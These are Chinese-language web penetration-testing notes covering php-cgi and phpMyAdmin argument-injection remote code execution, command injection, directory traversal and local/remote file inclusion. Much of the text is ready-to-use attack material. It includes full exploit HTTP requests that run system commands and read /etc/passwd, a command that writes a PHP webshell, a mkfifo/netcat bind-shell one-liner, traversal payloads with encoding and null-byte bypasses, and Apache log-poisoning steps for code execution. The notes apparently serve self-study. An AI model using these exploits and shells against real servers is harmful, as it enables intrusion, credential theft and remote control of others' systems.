漏洞本质
数据与指令的混淆 对用户输入信息过滤不严,误将指令当做数据
漏洞挖掘原则
所有变量
所有头
cookie中的变量
逐个变量删除筛选
身份认证
弱口令/基于字典的爆破
密码嗅探
sessionID
xss
嗅探sessionID长期不变
通过算法预测sessionID
phpmyadmin远程命令执行低版本的php存在此漏洞
利用代码
POSThttp://1.1.1.1/phpMyAdmin/?-d+allow_url_include%3d1+-d
+auto_prepend_file%3dphp://inputHTTP/1.1
Host:1.1.1.1
<?php
passthru(‘id‘);
die();
?>
利用方式:可用burpsuite提交post请求
/cgi-bin/php 漏洞
Ubuntu / debian默认安装php5-cgi
可直接访问 /cgi-bin/php5和 /cgi-bin/php利用代码
POST/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E
%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D
%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C
%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F
%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F
%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F
%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E
%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E
%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+
%2D%6EHTTP/1.1
Host:123
<?php
echosystem(‘cat/etc/passwd‘);
?>
利用方式:可用burpsuite提交post请求
php远程命令执行建立会话
写入webshellecho"<?php\$cmd=\$_GET["cmd"];system(\$cmd);?>">/var/www/a.php
php反弹shellshell路径
/usr/share/webshells/php/php-reverse-shell.php
监听端口提供shell在目标机器上执行
mkfifo/tmp/pipe;sh/tmp/pipe|nc-nlp4444>/tmp/pipe
使用nc连接,可获得shell命令执行
应用程序直接调用操作系统功能
对用户输入未作严格过滤,使得攻击者可以在远程服务器上执行系统命令
使用; & && | || 等绕过限制
目录遍历/文件包含
directorytraversal/fileinclude
应用程序功能操作文件,限制不严导致访问web目录以外的文件
与 directorytraversal不同,列出所有文件的漏洞为 directorybrowsing,也
称作 pathbrowsing 或 pathtraversal文件包含分为本地文件包含(LFI)和远程文件包含(RFI)
特征:
?page=a.php
?home=b.html
?file=content
不绝对测试方法:
?file=../../../etc/passwd
?page=file:///etc/passwd –使用绝对路径
?home=main.cgi
?page=http://1.1.1.1/a.php –远程文件引用http://1.1.1.1/../../../../file.txt –使用多个 ../混淆绕过
绕过字符过滤
.%00 – 绕过文件扩展名过滤
?file=a.doc%00.php使用多种编码尝试 asciiurlbase64
不同操作系统路径特征字符类unix系统
根目录 /目录层级目录 /
windows
\ 或/
编码
url编码,双层url编码unicode/utf-8编码
其他系统可能用到的路径
-file.txt...
-file.txt<spaces>
-file.txt"""
-file.txt<<<>>><
-./././file.txt
-nonexistant/../file.txt
-UNC路径:\\1.1.1.1\path\to\file.txt注意存在于cookie中的文件引用
试例代码
<?php
$template="index.php";
if(is_set($_COOKIE[‘template‘]))
$template=$_COOKIE[‘template‘];
include("/home/user/phpguru/template/".$template);
?>
攻击代码
GET/vulnerable.phpHTTP/1.0
Cookie:template=../../../../../../etc/passwd
本地文件包含LFI查看文件
代码执行
需web应用的账户有权限访问/var/log/apache2/access.log
通过nc连接远程服务器80端口,向目标服务器的log文件中插入如下代码<?phpechoshell_exec($_GET[‘cmd‘]);?>
构造地址引用apache的log文件并提供cmd参数即可远程执行代码
远程文件包含RFI概率小于LFI,但更容易被利用
漏洞利用:
构造请求使目标服务器引用攻击者准备的恶意脚本,便可将恶意脚本在远程服务端执
行,执行恶意操作或者获得一个shell